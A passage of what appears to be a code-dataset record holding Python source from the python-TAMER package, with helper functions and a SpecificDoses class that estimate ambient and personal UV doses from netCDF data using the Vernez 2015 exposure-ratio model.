bin_centers[i]\n else :\n i = np.searchsorted(cumcounts,n*prct) \n j = np.searchsorted(cumcounts,n*prct,side='right') \n percentile = (bin_centers[i] + bin_centers[j])/2\n\n return percentile \n\n\ndef hist_min(counts,bin_centers) :\n \"\"\"hist_min calculates the minimum value of a histogram\n\n This function finds the minimum value of a histogram.\n It is built on the some basic functionality as hist_percentile.\n\n Args:\n counts (array): The quantity of numbers within each histogram bin\n bin_centers (array): The central value of each histogram bin. Note that\n this can be calculated as bin_edges[:-1]+0.5*np.diff(bin_edges) but\n we removed this calculation to optimise this function further.\n\n Returns:\n float: The minimum value of the histogram\n \"\"\"\n\n cumcounts = np.cumsum(counts)\n j = np.searchsorted(cumcounts,0,side='right')\n min = bin_centers[j]\n\n return min\n\n\ndef hist_max(counts,bin_centers) :\n \"\"\"hist_max calculates the maximum value of a histogram\n\n This function finds the maximum value of a histogram.\n It is built on the some basic functionality as hist_percentile.\n\n Args:\n counts (array): The quantity of numbers within each histogram bin\n bin_centers (array): The central value of each histogram bin. Note that\n this can be calculated as bin_edges[:-1]+0.5*np.diff(bin_edges) but\n we removed this calculation to optimise this function further.\n\n Returns:\n float: The maximum value of the histogram\n \"\"\"\n\n n = np.sum(counts)\n cumcounts = np.cumsum(counts)\n i = np.searchsorted(cumcounts,n)\n max = bin_centers[i]\n\n return max\n\n\ndef ER_Vernez_2015(Anatomic_zone,\nPosture,\nDate=None,\nLatitude=None,\nVis_table_path=None,\nVis_table=None) :\n \"\"\"Calculates Exposure Ratios for a given anatomic zone, posture, and date.\n\n This function calculates ER as a percentage between 0 and 100 based on Anatomic_zone, Posture, Date, and Latitude\n information. This function contains hard-coded synonyms for certain anatomical zones, e.g. 'Forehead\" \n maps to \"Face'. See Vernez et al., Journal of Exposure Science and Environmental Epidemiology (2015) \n 25, 113–118 (https://doi.org/10.1038/jes.2014.6) for further details on the model used for the calculation.\n\n\n Parameters\n ----------\n\n Anatomic_zone : list\n String or list of strings describing the anatomic zone for which the ER is to be calculated. \n\n Posture : list\n String or list of strings describing the posture for which the ER is to be calculated.\n\n Date : list, optional\n The date for which the ER is to be calculated. The date affects the minimum solar zenith\n angle in the Vernez et al. 2015 ER model. The specific year is not relevant. Defaults to\n March 20, the equinox.\n\n Latitude : list, optional\n The latitude is important for calculating the ER. Defaults to None, wherein the latitude\n of the centroid of Switzerland (46.8 degrees) is used.\n\n Vis_table_path : str, optional\n The full path to an alternative table for the Vis parameter. \n Must be a csv file. Defaults to None.\n\n Vis_table : str, optional\n An alternative table for the Vis parameter. Defaults to None.\n\n\n Returns\n -------\n\n list\n Returns ER values as a list\n\n\n \"\"\"\n\n # In case of single input rather than lists\n if isinstance(Anatomic_zone, str): Anatomic_zone = [Anatomic_zone]\n if isinstance(Posture,str): Posture = [Posture]\n\n if Latitude is None:\n Latitude = [46.8] #Switzerland centroid\n \n if Date is None:\n Date = [dt.date(2015,3,20)] # equinox\n\n if not isinstance(Latitude,list): Latitude = [Latitude]\n if not isinstance(Date,list): Date = [Date]\n\n d = {'Anatomic_zone': Anatomic_zone,\n 'Posture': Posture,\n 'Latitude': Latitude,\n 'Date': Date}\n\n lengths = [len(x) for x in d.values()]\n max_length = max(lengths)\n for key in list(d.keys()) :\n if len(d[key]) != max_length :\n d[key] = d[key] * (max_length//len(d[key]))\n\n self = pd.DataFrame(d)\n\n # This chunk of code checks if the default Vis table should be used or if the user enters some alternative table.\n if Vis_table is None and Vis_table_path is None :\n Vis_table = pd.DataFrame.from_records(\n columns=['Seated','Kneeling','Standing erect arms down','Standing erect arms up','Standing bowing'],\n index=['Face','Skull','Forearm','Upper arm','Neck','Top of shoulders','Belly','Upper back','Hand','Shoulder','Upper leg','Lower leg','Lower back'],\n data=[[53.7,28.7,46.6,44.9,19.2],\n [56.2,66.6,61.1,58.4,67.5],\n [62.3,56.5,49.4,53.1,62.1],\n [51.7,60.5,45.9,65.3,61.6],\n [58.3,84.3,67.6,65.2,81.6],\n [35.9,50.3,48.6,45.7,85.3],\n [58.1,45.1,50.3,49.6,15.2],\n [35.9,50.3,48.6,45.7,85.3],\n [59.2,58.8,42.4,55,58.5],\n [68,62,63,67.1,64],\n [65.4,45.4,50.9,51,43.5],\n [32.8,63.4,49.7,50.3,50],\n [44.9,51.6,56.6,53.4,86.9]])\n # The 'standing moving' posture must be dealt with somehow...\n # Vis_table['Standing moving']= (Vis_table['Standing erect arms down'] + Vis_table['Standing bowing']) / 2\n # TODO: add interpeter or force users to conform?\n Vis_table['Standing moving']= Vis_table['Standing erect arms down'] \n Vis_table['Standing']=Vis_table['Standing erect arms down'] \n elif Vis_table is None :\n Vis_table = pd.read_csv(Vis_table_path)\n\n # Below is a dictionary describing a range of synonyms for the anatomical zones defined in the Vis table.\n Anatomic_zone_synonyms_reverse = {\n 'Forearm' : ['wrist',\n 'Left extern radial',\n 'Right extern radial',\n 'Left wrist: radius head',\n 'Right wrist: radius head',\n 'Left wrist',\n 'Right wrist'],\n 'Face' : ['Forehead'],\n 'Upper back' : ['Right trapezoid',\n 'Left trapezoid',\n 'trapezius'],\n 'Belly' : ['Chest'],\n 'Shoulder' : ['Left deltoid',\n 'Right deltoid',\n 'Left shoulder',\n 'Right shoulder'],\n 'Upper arm' : ['Left elbow',\n 'Right elbow',\n 'Left biceps',\n 'Right biceps'],\n 'Upper leg' : ['Left thigh',\n 'Right thigh',\n 'Left knee',\n 'Right knee'],\n 'Lower back' : ['Low back']\n }\n \n # The dictionary is reversed so that the multiple synonyms can be mapped to the few correct terms for the Vis table.\n Anatomic_zone_synonyms = {keys: old_keys for old_keys, old_values in Anatomic_zone_synonyms_reverse.items() for keys in old_values}\n\n self = self.replace({'Anatomic_zone' : Anatomic_zone_synonyms})\n\n # With the correct anatomic zone names established, we can lookup the Vis values from the table\n Vis = Vis_table.lookup(self['Anatomic_zone'],self['Posture'])\n\n # Next we must calculate the minimal Solar Zenith Angle for the given date\n mSZA = min_solar_zenith_angle(self.Date,self.Latitude)\n\n # With the Vis value and the SZA, we can calculate the ER according to the Vernez model\n ER = ER_Vernez_model_equation(Vis,mSZA) / 100\n\n return ER.to_numpy()\n\ndef format_filename(inp):\n \"\"\"Takes a string and return a valid filename constructed from the string.\n \n Uses a whitelist approach: any characters not present in valid_chars are\n removed. Also spaces are replaced with underscores.\n \n Note: this method may produce invalid filenames such as ``, `.` or `..`\n When using this method, prepend a date string like '2009_01_15_19_46_32_'\n and append a file extension like '.txt', so to avoid the potential of using\n an invalid filename.\n\n\n Parameters\n ----------\n s : str\n Input string to be converted to valid filename\n\n\n Returns\n -------\n str\n \n \"\"\"\n valid_chars = \"-_.() %s%s\" % (string.ascii_letters, string.digits)\n inp_rpl = inp.replace(' ','_').replace(':','-')\n filename = ''.join(c for c in inp_rpl if c in valid_chars)\n return filename\n\ndef str2daysofyear(inp) :\n \"\"\"Interprets a string, list, or array into a list of arrays for days of the year\n\n An ExposureMapSequence object requires of a list of arrays describing the days of\n the year to be used in the creation of each histogram. This function simplifies the\n process of entering this information. The user can enter keywords to automatically\n generate the appropriate list of days.\n\n\n Parameters\n ----------\n inp : str or list or numpy.array\n The input to be interpreted. Numeric entries should be included in the output\n unmodified, while string entries should be replaced by numeric arrays.\n\n Returns\n -------\n list\n Produces a list of arrays that is interpretable by the ExposureMapSequence code.\n \"\"\"\n\n def str2daysofyear_raw(inp) :\n\n ayear = pd.date_range(start=\"2010-01-01\",end=\"2010-12-31\")\n winter = [x for i in [12,1,2] for x in ayear[ayear.month == i].dayofyear.values.tolist()]\n spring = [x for i in [3,4,5] for x in ayear[ayear.month == i].dayofyear.values.tolist()]\n summer = [x for i in [6,7,8] for x in ayear[ayear.month == i].dayofyear.values.tolist()]\n autumn = [x for i in [9,10,11] for x in ayear[ayear.month == i].dayofyear.values.tolist()]\n\n keys_ref = {\n \"month\" : [ayear[ayear.month == i].dayofyear.values.tolist() for i in range(1,13)],\n \"season\" : [spring,summer,autumn,winter],\n \"quarter\": [spring,summer,autumn,winter],\n \"year\" : ayear.dayofyear.values.tolist(),\n \"annual\" : ayear.dayofyear.values.tolist(),\n \"jan\" : ayear[ayear.month == 1].dayofyear.values.tolist(),\n \"feb\" : ayear[ayear.month == 2].dayofyear.values.tolist(),\n \"mar\" : ayear[ayear.month == 3].dayofyear.values.tolist(),\n \"apr\" : ayear[ayear.month == 4].dayofyear.values.tolist(),\n \"may\" : ayear[ayear.month == 5].dayofyear.values.tolist(),\n \"jun\" : ayear[ayear.month == 6].dayofyear.values.tolist(),\n \"jul\" : ayear[ayear.month == 7].dayofyear.values.tolist(),\n \"aug\" : ayear[ayear.month == 8].dayofyear.values.tolist(),\n \"sep\" : ayear[ayear.month == 9].dayofyear.values.tolist(),\n \"oct\" : ayear[ayear.month == 10].dayofyear.values.tolist(),\n \"nov\" : ayear[ayear.month == 11].dayofyear.values.tolist(),\n \"dec\" : ayear[ayear.month == 12].dayofyear.values.tolist(),\n \"winter\" : winter,\n \"autumn\" : autumn,\n \"fall\" : autumn,\n \"spring\" : spring,\n \"summer\" : summer,\n }\n\n return keys_ref[inp]\n \n \n keys = [\"month\",\"season\",\"quarter\",\"year\",\"annual\",\n \"jan\",\"feb\",\"mar\",\"apr\",\"may\",\"jun\",\"jul\",\"aug\",\"sep\",\"oct\",\"nov\",\"dec\",\n \"winter\",\"autumn\",\"fall\",\"spring\",\"summer\"]\n\n if isinstance(inp,str) :\n # simple case, user has entered \"monthly\" or some such\n\n # there should be only one result from the filter anyway\n inp_flt = list(filter(lambda x: x in inp.lower(), keys))\n\n out = str2daysofyear_raw(inp_flt[0])\n\n # in case user hasn't selected one of the nice advanced options, must convert to list\n if inp_flt[0] not in [\"month\",\"season\",\"quarter\",\"year\",\"annual\"] :\n out = [out]\n\n # TODO: rewrite this function to do this first and then pass filtered input to raw\n if inp_flt[0] == 'month' :\n inp_flt = ['jan','feb','mar','apr','may','jun','jul','aug','sep','oct','nov','dec']\n elif inp_flt[0] in ['season','quarter'] :\n inp_flt = ['spring','summer','autumn','winter']\n elif inp_flt[0] == 'year' :\n inp_flt[0] = 'annual'\n\n nonstrings = [False]\n\n elif isinstance(inp,list) :\n # complex case, user has entered list \n # [\"june\",\"july\",\"august\",\"summer\"] or some such\n out = []\n inp_flt = []\n nonstrings = []\n for inpx in inp :\n if isinstance(inpx,str) : \n inp_flt_temp = list(filter(lambda x: x in inpx.lower(), keys))[0]\n inp_flt.append(inp_flt_temp)\n out.append(str2daysofyear_raw(inp_flt_temp))\n nonstrings.append(False)\n else :\n inp_flt.append(inpx)\n out.append(inpx)\n nonstrings.append(True)\n \n # convert list of lists to list of arrays for consistency\n for i in range(len(out)) :\n out[i] = np.array(out[i])\n\n return out, inp_flt, nonstrings" }, { "alpha_fraction": 0.580477237701416, "alphanum_fraction": 0.5997624397277832, "avg_line_length": 46.45439529418945, "blob_id": "05932cafe56617a43befe8360df38f8bcdafd658", "content_id": "516e5dba4d568d31c4cfcd4ffbc32308c45044ea", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 28626, "license_type": "permissive", "max_line_length": 163, "num_lines": 603, "path": "/python_tamer/SpecificDoses.py", "repo_name": "MeteoSwiss/python-TAMER", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport numpy as np\nimport netCDF4 as nc\nfrom .subroutines import *\n\n\nclass SpecificDoses(pd.DataFrame):\n \"\"\"A class for specific dose estimates akin to dosimetry measurements\n\n High resolution data allows for personal and ambient dose estimation without the need for\n direct measurement. This class is structured like a table with a set of functions to add \n columns ultimately leading to dose estimates. Each row of this table represents a specific\n exposure instance, i.e. an individual at a specific location for a specific date and time\n with a specific exposure ratio. See Harris et al. 2021 \n (https://doi.org/10.3390/atmos12020268) for more information on calculations appropriate \n for this class.\n\n\n Parameters\n ----------\n\n src_filename_format : str\n Describes the filename of the netCDF files containing the UV data with 'yyyy' in place \n of the year.\n \n src_directory : str\n The directory where the data is stored. Must end with a slash.\n\n\n Notes\n -----\n\n Presently, the class is inherited from a pandas.DataFrame which is somewhat restrictive \n and will likely be revised in a later update. For the time being, this means that the \n parameters cannot be set when initialising a `SpecificDoses` object, they must instead\n be adjusted after initialisation, like so::\n\n ExistingExposureMapObject.src_directory = \"/new/data/directory/\"\n\n \n Example\n -------\n\n In this example, we illustrate the process for calculating the doses in Harris et al. 2021\n (https://doi.org/10.3390/atmos12020268) from the spreadsheet supplied as supplementary \n data (https://www.mdpi.com/2073-4433/12/2/268/s1). Note that results will differ as the\n spreadsheet contains only local Swiss time and not UTC time. There are four important\n functions as part of this class, three for standardising and preparing the columns,\n and one for actually loading the data and performing the dose calculations. See below::\n\n import python_tamer as pt\n import pandas as pd\n example = pt.SpecificDoses(pd.read_excel(r'atmosphere-12-00268-s001.xlsx',\n header=2,index_col=0,usecols=\"B:K\"))\n example.src_directory = 'C:/enter_the_directory_of_your_dataset_here'\n example = example.standard_column_names() \n example = example.schedule_constant_exposure().ER_from_posture()\n example = example.calculate_specific_dose()\n\n\n \"\"\"\n\n # This property ensures that functions return the same subclass\n @property\n def _constructor(self):\n return SpecificDoses\n \n # This adds some useful metadata (self-explanatory)\n _metadata = [\"src_filename_format\",\"src_directory\"]\n src_filename_format = 'UVery.AS_ch02.lonlat_yyyy01010000.nc'\n src_directory = 'C:/Data/UV/' # TODO: set up __init__ for these options\n # It feels like this should be declared with __init__ as well but idk\n\n def standard_column_names(self) :\n \"\"\"Limited function to standardise column names\n\n When loading tables to use as the basis for a SpecificDoses table, some columns may have\n slightly names to what is expected. This function standardises the names but is very\n limited in terms of what it can recognise. The user is encourages to ensure the columns\n are correctly labelled themselves and not to rely on this function.\n\n Returns\n -------\n SpecificDoses\n The table has its column names modified.\n \"\"\"\n legend_dict_reverse = {'Point' : ['Lieu de mesure'],\n 'Date' : ['Date'],\n 'Time_start' : ['Heure début','Start_time','Start time'],\n 'Time_end' : ['Heure fin','End_time','End time'],\n 'Measured_dose' : ['Exposition [MED]','Exposure'],\n 'Anatomic_zone' : ['Zone anatomique','Body part','Anatomic zone'],\n 'Posture' : ['Body posture'],\n 'Latitude' : ['lat'],\n 'Longitude' : ['lon','lng']}\n legend_dict = {keys: old_keys for old_keys, old_values in legend_dict_reverse.items() for keys in old_values}\n self = self.rename(columns=legend_dict)\n\n return self\n\n def schedule_constant_exposure(self) :\n \"\"\"Generates exposure schedules given start and end times.\n\n This function generates exposure schedules based on simple continuous exposure, i.e.\n with a start time and an end time. The exposure schedule is a vector with length 24\n with each entry representing the proportion of the corresponding hour of the day that\n the subject is exposed. \n\n\n Returns\n -------\n\n python_tamer.SpecificDoses\n An exposure_schedule column is created and is appended to the input \n `SpecificDoses` object or, if that column already exists, it is overwritten.\n \n\n Notes\n -----\n\n The input `SpecificDoses` object must contain the following columns:\n * ``Time_start``\n * ``Time_end``\n\n\n Example\n -------\n\n In this example, we illustrate the process for calculating the doses in Harris et al. 2021\n (https://doi.org/10.3390/atmos12020268) from the spreadsheet supplied as supplementary \n data (https://www.mdpi.com/2073-4433/12/2/268/s1). Note that results will differ as the\n spreadsheet contains only local Swiss time and not UTC time. There are four important\n functions as part of this class, three for standardising and preparing the columns,\n and one for actually loading the data and performing the dose calculations. See below::\n\n import python_tamer as pt\n import pandas as pd\n example = pt.SpecificDoses(pd.read_excel(r'atmosphere-12-00268-s001.xlsx',\n header=2,index_col=0,usecols=\"B:K\"))\n example.src_directory = 'C:/enter_the_directory_of_your_dataset_here'\n example = example.standard_column_names() \n example = example.schedule_constant_exposure().ER_from_posture()\n example = example.calculate_specific_dose()\n\n\n \"\"\"\n\n def schedule_constant_exposure_iter(Start_time,End_time) :\n \"\"\"Iterates through rows of a SpecificDoses table to generate schedules.\n\n This function is designed to be applied to each row in a datatable to generate an\n exposure schedule based on a start time and end time\n\n Parameters\n ----------\n Start_time : datetime.time\n UTC time at which exposure period begins\n End_time : datetime.time\n UTC time at which exposure period end\n\n Returns\n -------\n numpy.array\n 24 length vector of values between 0 and 1 indicating proportion \n of time exposed for that corresponding hour of the day.\n\n\n \"\"\"\n\n schedule = np.zeros(24)\n schedule[Start_time.hour:End_time.hour] = 1\n\n # Modify start and end hours according to proportion of time exposed\n if Start_time.minute != 0 :\n schedule[Start_time.hour] = (1 - Start_time.minute/60)\n\n if End_time.minute != 0 :\n schedule[End_time.hour] = End_time.minute/60 \n\n return schedule\n # With that function defined, we need just one line to apply it to the whole table\n self[\"Schedule\"] = self.apply(lambda x: schedule_constant_exposure_iter(\n x[\"Time_start\"],x[\"Time_end\"]),axis='columns')\n return self\n \n def ER_from_posture(self,\n Vis_table_path=None,\n Vis_table=None) :\n \"\"\"ER_from_posture calculates Exposure Ratios for a given anatomic zone, posture, and date.\n\n This function calculates ER as a percentage between 0 and 100 based on information from an input table.\n The input table must contain certain columns at a minimum. Those are: Date, Anatomic_zone, and Posture.\n This function contains hard-coded synonyms for certain anatomical zones, e.g. 'Forehead\" maps to \"Face'.\n See Vernez et al., Journal of Exposure Science and Environmental Epidemiology (2015) 25, 113–118 \n (https://doi.org/10.1038/jes.2014.6) for further details on the model used for the calculation.\n\n\n Parameters\n ----------\n\n Vis_table_path : str, optional\n The full path to an alternative table for the Vis parameter. \n Must be a csv file. Defaults to None.\n Vis_table : str, optional\n An alternative table for the Vis parameter. Defaults to None.\n\n\n Returns\n -------\n\n SpecificDoses\n Returns input table appended with ER column\n\n\n Notes\n -----\n\n The SpecificDoses table used must contain columns for Date, Anatomic_zone, and Posture.\n The Date column should contain DateTime entries. The Anatonic_zone column should contain one string per \n row describing the exposed body part. The Posture column should contain one string per row describing \n one of six accepted postures.\n\n\n Example\n -------\n\n In this example, we illustrate the process for calculating the doses in Harris et al. 2021\n (https://doi.org/10.3390/atmos12020268) from the spreadsheet supplied as supplementary \n data (https://www.mdpi.com/2073-4433/12/2/268/s1). Note that results will differ as the\n spreadsheet contains only local Swiss time and not UTC time. There are four important\n functions as part of this class, three for standardising and preparing the columns,\n and one for actually loading the data and performing the dose calculations. See below::\n\n import python_tamer as pt\n import pandas as pd\n example = pt.SpecificDoses(pd.read_excel(r'atmosphere-12-00268-s001.xlsx',\n header=2,index_col=0,usecols=\"B:K\"))\n example.src_directory = 'C:/enter_the_directory_of_your_dataset_here'\n example = example.standard_column_names() \n example = example.schedule_constant_exposure().ER_from_posture()\n example = example.calculate_specific_dose()\n\n\n \"\"\"\n\n # This chunk of code checks if the default Vis table should be used or if the user enters some alternative table.\n if Vis_table is None and Vis_table_path is None :\n Vis_table = pd.DataFrame.from_records(\n columns=['Seated','Kneeling','Standing erect arms down','Standing erect arms up','Standing bowing'],\n index=['Face','Skull','Forearm','Upper arm','Neck','Top of shoulders','Belly','Upper back','Hand','Shoulder','Upper leg','Lower leg','Lower back'],\n data=[[53.7,28.7,46.6,44.9,19.2],\n [56.2,66.6,61.1,58.4,67.5],\n [62.3,56.5,49.4,53.1,62.1],\n [51.7,60.5,45.9,65.3,61.6],\n [58.3,84.3,67.6,65.2,81.6],\n [35.9,50.3,48.6,45.7,85.3],\n [58.1,45.1,50.3,49.6,15.2],\n [35.9,50.3,48.6,45.7,85.3],\n [59.2,58.8,42.4,55,58.5],\n [68,62,63,67.1,64],\n [65.4,45.4,50.9,51,43.5],\n [32.8,63.4,49.7,50.3,50],\n [44.9,51.6,56.6,53.4,86.9]])\n # The 'standing moving' posture must be dealt with somehow...\n # Vis_table['Standing moving']= (Vis_table['Standing erect arms down'] + Vis_table['Standing bowing']) / 2\n # TODO: add interpeter or force users to conform?\n Vis_table['Standing moving']= Vis_table['Standing erect arms down'] \n elif Vis_table is None :\n Vis_table = pd.read_csv(Vis_table_path)\n\n # Below is a dictionary describing a range of synonyms for the anatomical zones defined in the Vis table.\n Anatomic_zone_synonyms_reverse = {\n 'Forearm' : ['wrist',\n 'Left extern radial',\n 'Right extern radial',\n 'Left wrist: radius head',\n 'Right wrist: radius head',\n 'Left wrist',\n 'Right wrist'],\n 'Face' : ['Forehead'],\n 'Upper back' : ['Right trapezoid',\n 'Left trapezoid',\n 'trapezius'],\n 'Belly' : ['Chest'],\n 'Shoulder' : ['Left deltoid',\n 'Right deltoid',\n 'Left shoulder',\n 'Right shoulder'],\n 'Upper arm' : ['Left elbow',\n 'Right elbow',\n 'Left biceps',\n 'Right biceps'],\n 'Upper leg' : ['Left thigh',\n 'Right thigh',\n 'Left knee',\n 'Right knee'],\n 'Lower back' : ['Low back']\n }\n # The dictionary is reversed so that the multiple synonyms can be mapped to the few correct terms for the Vis table.\n Anatomic_zone_synonyms = {keys: old_keys for old_keys, old_values in Anatomic_zone_synonyms_reverse.items() for keys in old_values}\n\n self = self.replace({'Anatomic_zone' : Anatomic_zone_synonyms})\n\n # With the correct anatomic zone names established, we can lookup the Vis values from the table\n # TODO: lookup is being depreciated, must replace with something new\n Vis = Vis_table.lookup(self['Anatomic_zone'],self['Posture'])\n\n # Next we must calculate the minimal Solar Zenith Angle for the given date\n mSZA = min_solar_zenith_angle(self.Date,self.Latitude)\n\n # With the Vis value and the SZA, we can calculate the ER according to the Vernez model\n self.loc[:,'ER'] = ER_Vernez_model_equation(Vis,mSZA) / 100\n\n return self\n\n def calculate_specific_dose(self) :\n \"\"\"Calculates doses according to exposure schedule, ER, date, and location.\n\n This function takes the SpecificDoseEstimationTable and calculates the specific \n ambient and personal doses according to the exposure schedule and ER. There are\n a few key steps to this function. First it reads the Date column to determine \n which years of data must be loaded. It then iterates through each year, loading\n only the necessary dates. It applies the exposure schedule and the ER to \n calculate the ambient and personal doses.\n\n\n Returns\n -------\n\n SpecificDoses\n The input table is appended with a Ambient_dose and Personal_dose column.\n \n\n Notes\n -----\n\n The input SpecificDoses object must include Date, Schedule, ER, Latitude,\n and Longitude columns.\n Consult Harris et al. 2021 (https://doi.org/10.3390/atmos12020268) for more \n information on how this function can be used in the context of mimicking UV\n dosimetry measurements.\n\n\n Example\n -------\n\n In this example, we illustrate the process for calculating the doses in Harris et al. 2021\n (https://doi.org/10.3390/atmos12020268) from the spreadsheet supplied as supplementary \n data (https://www.mdpi.com/2073-4433/12/2/268/s1). Note that results will differ as the\n spreadsheet contains only local Swiss time and not UTC time. There are four important\n functions as part of this class, three for standardising and preparing the columns,\n and one for actually loading the data and performing the dose calculations. See below::\n\n import python_tamer as pt\n import pandas as pd\n example = pt.SpecificDoses(pd.read_excel(r'atmosphere-12-00268-s001.xlsx',\n header=2,index_col=0,usecols=\"B:K\"))\n example.src_directory = 'C:/enter_the_directory_of_your_dataset_here'\n example = example.standard_column_names() \n example = example.schedule_constant_exposure().ER_from_posture()\n example = example.calculate_specific_dose()\n\n\n \"\"\"\n\n # First step is find unique years to avoid loading unnecessary data\n years = pd.DatetimeIndex(self.Date).year\n unique_years = sorted(set(years))\n\n self['Ambient_dose'] = np.nan \n self['Personal_dose'] = np.nan\n\n for year in unique_years :\n # Load netCDF file\n print(\"Processing year \"+str(year)) \n dataset=nc.Dataset(self.src_directory+self.src_filename_format.replace('yyyy',str(year))) \n dataset.set_auto_mask(False) # This is important for nans to import correctly\n\n # Make temporary table for yearly subset\n temp_table = self[years == year].copy()\n\n # find all unique days in year to be loaded\n unique_days,unique_days_idx = np.unique(pd.DatetimeIndex(temp_table.Date).dayofyear,\n return_inverse=True)\n temp_table['unique_days_idx'] = unique_days_idx\n\n #pd.DatetimeIndex(nc.num2date(dataset.variables[\"time\"][:],dataset.variables[\"time\"].units,only_use_cftime_datetimes=False))\n\n if dataset.dimensions['time'].size == 24 :\n # needed if just a single day\n time_subset = [True for i in range(dataset.dimensions['time'].size)]\n else :\n # Next we pull a subset from the netCDF file\n # declare false array with same length of time dimension from netCDF\n time_subset = [False for i in range(dataset.dimensions['time'].size)] \n # reshape false array to have first dimension 24 (hours in day)\n time_subset = assert_data_shape_24(time_subset) \n # set the appropriate days as true\n time_subset[:,unique_days-1] = True \n # flatten time_subset array back to one dimension\n time_subset = time_subset.flatten(order='F')\n\n data = assert_data_shape_24(dataset['UV_AS'][time_subset,:,:]) \n # TODO: improve comprehension of raw data units rather than assuming\n\n # convert lat lon into pixel coordinates\n # TODO: consider is necessary to load entire maps for just a few required pixels\n lat = dataset['lat'][:]\n lon = dataset['lon'][:]\n temp_table['pixel_lat'] = temp_table.apply(lambda x: \n find_nearest(lat,x['Latitude']),axis='columns')\n temp_table['pixel_lon'] = temp_table.apply(lambda x: \n find_nearest(lon,x['Longitude']),axis='columns')\n\n \n # calculate doses\n temp_table['Ambient_dose'] = temp_table.apply(lambda x: \n np.sum(data[:,x['unique_days_idx'],x['pixel_lat'],x['pixel_lon']] * \n x['Schedule']),axis='columns')\n temp_table['Personal_dose'] = temp_table.apply(lambda x: \n np.sum(data[:,x['unique_days_idx'],x['pixel_lat'],x['pixel_lon']] * \n (x['Schedule'] * x['ER'])),axis='columns')\n\n # extra step necessary to ensure correct assignment\n self.loc[temp_table.index,'Ambient_dose'] = temp_table['Ambient_dose'].values\n self.loc[temp_table.index,'Personal_dose'] = temp_table['Personal_dose'].values\n\n # TODO: improve units options here\n self['Ambient_dose'] = self['Ambient_dose']/40*3600/100 # SED\n self['Personal_dose'] = self['Personal_dose']/40*3600/100 # SED\n return self \n\n\n\n\n\n def analyse_variable(self,\n variable=\"UV_AS\",\n statistic=\"Mean\",\n src_filename_format=None,\n src_directory=None) :\n \"\"\"Basic calculations for specific exposure instances\n\n This function is for calculating information other than ambient and personal\n doses that corresponds to specific exposure instances. \n\n\n Parameters\n ----------\n variable : str, optional\n The name of the variable to be analysed. This informs what data should be\n pulled from the source netCDF files. This also informs the name of the column(s)\n that will be created by this function. Defaults to \"UV_AS\", i.e. the All-Sky\n UV data that is used in the calculate_specific_dose function.\n\n statistic : str or list, optional\n The statistic to be calculated, options include: mean, median, stdev, variance, \n min, max, weighted_mean, and sum. Not case sensitive. Can be a single string or\n a list of strings whereby multiple columns will be calculated. Defaults to \"Mean\".\n\n src_filename_format : str, optional\n Allows the user to select different source data. This may be useful in cases where\n the user wants to compare doses calculated with one dataset to (say) cloud cover\n from another dataset. Defaults to None, where the function uses the source files\n specified by the object's metadata.\n\n src_directory : str, optional\n Allows the user to select different source data. This may be useful in cases where\n the user wants to compare doses calculated with one dataset to (say) cloud cover\n from another dataset. Defaults to None, where the function uses the source files\n specified by the object's metadata.\n\n\n Returns\n -------\n SpecificDoses\n The table is appended with new columns named [variable]_[statistic].\n\n\n Example\n -------\n\n In this example, we illustrate the process for calculating the doses in Harris et al. 2021\n (https://doi.org/10.3390/atmos12020268) from the spreadsheet supplied as supplementary \n data (https://www.mdpi.com/2073-4433/12/2/268/s1). Note that results will differ as the\n spreadsheet contains only local Swiss time and not UTC time. Additionally, to demonstrate\n the analyse_variable function, we also calculate the weighted mean CMF assuming it to be\n an additional variable in the source data files. See below::\n\n import python_tamer as pt\n import pandas as pd\n example = pt.SpecificDoses(pd.read_excel(r'atmosphere-12-00268-s001.xlsx',\n header=2,index_col=0,usecols=\"B:K\"))\n example.src_directory = 'C:/enter_the_directory_of_your_dataset_here'\n example = example.standard_column_names() \n example = example.schedule_constant_exposure().ER_from_posture()\n example = example.calculate_specific_dose()\n example = example.analyse_variable(variable=\"CMF\",statistic=\"weighted_mean\")\n\n \"\"\"\n\n # users have option to load different files, otherwise defaults to metadata\n if src_filename_format is None :\n src_filename_format = self.src_filename_format\n if src_directory is None :\n src_directory = self.src_directory\n\n # First step is find unique years to avoid loading unnecessary data\n years = pd.DatetimeIndex(self.Date).year\n unique_years = sorted(set(years))\n\n if isinstance(statistic,str) :\n self[variable+\"_\"+statistic] = np.nan\n # convert to list to simplify code later\n statistic = [statistic]\n elif isinstance(statistic,list) :\n for x in statistic :\n self[variable+\"_\"+x]=np.nan\n else :\n raise TypeError(\"statistic input must be str or list of str\")\n\n for year in unique_years :\n # Load netCDF file\n print(\"Processing year \"+str(year)) \n dataset=nc.Dataset(src_directory+src_filename_format.replace('yyyy',str(year))) \n dataset.set_auto_mask(False) # This is important for nans to import correctly\n\n # Make temporary table for yearly subset\n temp_table = self[years == year].copy()\n\n # find all unique days in year to be loaded\n unique_days,unique_days_idx = np.unique(pd.DatetimeIndex(temp_table.Date).dayofyear,\n return_inverse=True)\n temp_table['unique_days_idx'] = unique_days_idx\n\n #pd.DatetimeIndex(nc.num2date(dataset.variables[\"time\"][:],dataset.variables[\"time\"].units,only_use_cftime_datetimes=False))\n\n if dataset.dimensions['time'].size == 24 :\n # needed if just a single day\n time_subset = [True for i in range(dataset.dimensions['time'].size)]\n else :\n # Next we pull a subset from the netCDF file\n # declare false array with same length of time dimension from netCDF\n time_subset = [False for i in range(dataset.dimensions['time'].size)] \n # reshape false array to have first dimension 24 (hours in day)\n time_subset = assert_data_shape_24(time_subset) \n # set the appropriate days as true\n time_subset[:,unique_days-1] = True \n # flatten time_subset array back to one dimension\n time_subset = time_subset.flatten(order='F')\n\n data = assert_data_shape_24(dataset[variable][time_subset,:,:]) \n # TODO: improve comprehension of raw data units rather than assuming\n\n # convert lat lon into pixel coordinates\n # TODO: consider is necessary to load entire maps for just a few required pixels\n lat = dataset['lat'][:]\n lon = dataset['lon'][:]\n temp_table['pixel_lat'] = temp_table.apply(lambda x: \n find_nearest(lat,x['Latitude']),axis='columns')\n temp_table['pixel_lon'] = temp_table.apply(lambda x: \n find_nearest(lon,x['Longitude']),axis='columns')\n\n \n # calculate \n for stat in statistic :\n # mean\n if stat.lower() in [\"mean\",'average','avg'] :\n temp_table[variable+\"_\"+stat] = temp_table.apply(lambda x: \n np.mean(data[x['Schedule']!=0,x['unique_days_idx'],x['pixel_lat'],x['pixel_lon']] ),axis='columns')\n # median\n elif stat.lower() in [\"median\",\"med\"] :\n temp_table[variable+\"_\"+stat] = 